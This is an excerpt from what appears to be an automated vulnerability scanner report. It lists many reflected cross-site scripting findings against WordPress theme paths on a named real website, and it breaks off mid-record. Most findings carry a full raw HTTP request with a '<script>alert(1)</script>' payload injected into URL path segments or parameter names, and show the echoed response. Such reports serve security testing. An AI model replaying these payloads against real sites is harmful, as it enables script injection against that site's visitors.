GET /wp-content/themesf15fe"><script>alert(1)</script>5875b7ebf80/powermta1/images/twit-logo.gif HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff2d0"><script>alert(1)</script>87fe02c454b was submitted in the REST URL parameter 3. This input was echoed as ff2d0\"><script>alert(1)</script>87fe02c454b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1ff2d0"><script>alert(1)</script>87fe02c454b/images/twit-logo.gif HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ef938"><script>alert(1)</script>0c228aca5c9 was submitted in the REST URL parameter 4. This input was echoed as ef938\"><script>alert(1)</script>0c228aca5c9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/imagesef938"><script>alert(1)</script>0c228aca5c9/twit-logo.gif HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a00e"><script>alert(1)</script>434e9c13565 was submitted in the REST URL parameter 5. This input was echoed as 5a00e\"><script>alert(1)</script>434e9c13565 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images/twit-logo.gif5a00e"><script>alert(1)</script>434e9c13565 HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]... <input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif5a00e\"><script>alert(1)</script>434e9c13565" /> ...[SNIP]...
2.112. http://www.powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.powermta.port25.com
Path:
/wp-content/themes/powermta1/images/twit-logo.gif
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20ac0"><script>alert(1)</script>7f21161b3c6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 20ac0\"><script>alert(1)</script>7f21161b3c6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images/twit-logo.gif?20ac0"><script>alert(1)</script>7f21161b3c6=1 HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3761b"><script>alert(1)</script>6f032161e30 was submitted in the REST URL parameter 1. This input was echoed as 3761b\"><script>alert(1)</script>6f032161e30 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f584d"><script>alert(1)</script>87dfa82034a was submitted in the REST URL parameter 2. This input was echoed as f584d\"><script>alert(1)</script>87dfa82034a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f4814"><script>alert(1)</script>51cc203be39 was submitted in the REST URL parameter 3. This input was echoed as f4814\"><script>alert(1)</script>51cc203be39 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fdf30"><script>alert(1)</script>ed438270590 was submitted in the REST URL parameter 4. This input was echoed as fdf30\"><script>alert(1)</script>ed438270590 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b822e"><script>alert(1)</script>d04d52ac82d was submitted in the REST URL parameter 5. This input was echoed as b822e\"><script>alert(1)</script>d04d52ac82d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]... <input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.jsb822e\"><script>alert(1)</script>d04d52ac82d" /> ...[SNIP]...
2.118. http://www.powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81d9c"><script>alert(1)</script>1924ea96c5d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 81d9c\"><script>alert(1)</script>1924ea96c5d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4082c"><script>alert(1)</script>1de928dbc8b was submitted in the REST URL parameter 1. This input was echoed as 4082c\"><script>alert(1)</script>1de928dbc8b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content4082c"><script>alert(1)</script>1de928dbc8b/themes/powermta1/js/jquery-1.2.1.pack.js HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4db75"><script>alert(1)</script>1a34ec9ff7d was submitted in the REST URL parameter 2. This input was echoed as 4db75\"><script>alert(1)</script>1a34ec9ff7d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes4db75"><script>alert(1)</script>1a34ec9ff7d/powermta1/js/jquery-1.2.1.pack.js HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9eb0"><script>alert(1)</script>72383f08ed2 was submitted in the REST URL parameter 3. This input was echoed as d9eb0\"><script>alert(1)</script>72383f08ed2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1d9eb0"><script>alert(1)</script>72383f08ed2/js/jquery-1.2.1.pack.js HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8a77"><script>alert(1)</script>0383053a194 was submitted in the REST URL parameter 4. This input was echoed as c8a77\"><script>alert(1)</script>0383053a194 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/jsc8a77"><script>alert(1)</script>0383053a194/jquery-1.2.1.pack.js HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5cd86"><script>alert(1)</script>7f0c7eb1413 was submitted in the REST URL parameter 5. This input was echoed as 5cd86\"><script>alert(1)</script>7f0c7eb1413 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/js/jquery-1.2.1.pack.js5cd86"><script>alert(1)</script>7f0c7eb1413 HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]... <input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js5cd86\"><script>alert(1)</script>7f0c7eb1413" /> ...[SNIP]...
2.124. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65264"><script>alert(1)</script>a412310c547 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 65264\"><script>alert(1)</script>a412310c547 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/js/jquery-1.2.1.pack.js?65264"><script>alert(1)</script>a412310c547=1 HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 39310"><script>alert(1)</script>914a8e39803 was submitted in the REST URL parameter 1. This input was echoed as 39310\"><script>alert(1)</script>914a8e39803 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content39310"><script>alert(1)</script>914a8e39803/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e901"><script>alert(1)</script>1dae5d73edf was submitted in the REST URL parameter 2. This input was echoed as 7e901\"><script>alert(1)</script>1dae5d73edf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes7e901"><script>alert(1)</script>1dae5d73edf/powermta1/js/jquery-easing-compatibility.1.2.pack.js HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79b85"><script>alert(1)</script>c97a251316 was submitted in the REST URL parameter 3. This input was echoed as 79b85\"><script>alert(1)</script>c97a251316 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta179b85"><script>alert(1)</script>c97a251316/js/jquery-easing-compatibility.1.2.pack.js HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ae15"><script>alert(1)</script>d3cd4896678 was submitted in the REST URL parameter 4. This input was echoed as 4ae15\"><script>alert(1)</script>d3cd4896678 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/js4ae15"><script>alert(1)</script>d3cd4896678/jquery-easing-compatibility.1.2.pack.js HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58012"><script>alert(1)</script>4eea692d76f was submitted in the REST URL parameter 5. This input was echoed as 58012\"><script>alert(1)</script>4eea692d76f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]... <input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js58012\"><script>alert(1)</script>4eea692d76f" /> ...[SNIP]...
2.130. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2dd7c"><script>alert(1)</script>1979aa4efb4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2dd7c\"><script>alert(1)</script>1979aa4efb4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4c9a4"><script>alert(1)</script>e7d0a6a8178 was submitted in the REST URL parameter 1. This input was echoed as 4c9a4\"><script>alert(1)</script>e7d0a6a8178 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content4c9a4"><script>alert(1)</script>e7d0a6a8178/themes/powermta1/js/jquery-easing.1.2.pack.js HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6b73"><script>alert(1)</script>63909903d9e was submitted in the REST URL parameter 2. This input was echoed as f6b73\"><script>alert(1)</script>63909903d9e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themesf6b73"><script>alert(1)</script>63909903d9e/powermta1/js/jquery-easing.1.2.pack.js HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b7ac2"><script>alert(1)</script>ef59ef144f4 was submitted in the REST URL parameter 3. This input was echoed as b7ac2\"><script>alert(1)</script>ef59ef144f4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1b7ac2"><script>alert(1)</script>ef59ef144f4/js/jquery-easing.1.2.pack.js HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5c56"><script>alert(1)</script>129f6c95e98 was submitted in the REST URL parameter 4. This input was echoed as b5c56\"><script>alert(1)</script>129f6c95e98 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/jsb5c56"><script>alert(1)</script>129f6c95e98/jquery-easing.1.2.pack.js HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ef60"><script>alert(1)</script>9c0b586ee8d was submitted in the REST URL parameter 5. This input was echoed as 2ef60\"><script>alert(1)</script>9c0b586ee8d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js2ef60"><script>alert(1)</script>9c0b586ee8d HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]... <input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js2ef60\"><script>alert(1)</script>9c0b586ee8d" /> ...[SNIP]...
2.136. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab6ea"><script>alert(1)</script>6d1ad765b2c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ab6ea\"><script>alert(1)</script>6d1ad765b2c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js?ab6ea"><script>alert(1)</script>6d1ad765b2c=1 HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3eb7d"><script>alert(1)</script>6dfb110f6b4 was submitted in the REST URL parameter 1. This input was echoed as 3eb7d\"><script>alert(1)</script>6dfb110f6b4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content3eb7d"><script>alert(1)</script>6dfb110f6b4/themes/powermta1/scripts/rsv.js HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 726f6"><script>alert(1)</script>e05f163a878 was submitted in the REST URL parameter 2. This input was echoed as 726f6\"><script>alert(1)</script>e05f163a878 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes726f6"><script>alert(1)</script>e05f163a878/powermta1/scripts/rsv.js HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2fb50"><script>alert(1)</script>34a50ed9813 was submitted in the REST URL parameter 3. This input was echoed as 2fb50\"><script>alert(1)</script>34a50ed9813 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta12fb50"><script>alert(1)</script>34a50ed9813/scripts/rsv.js HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44427"><script>alert(1)</script>9b7ea4d2eeb was submitted in the REST URL parameter 4. This input was echoed as 44427\"><script>alert(1)</script>9b7ea4d2eeb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
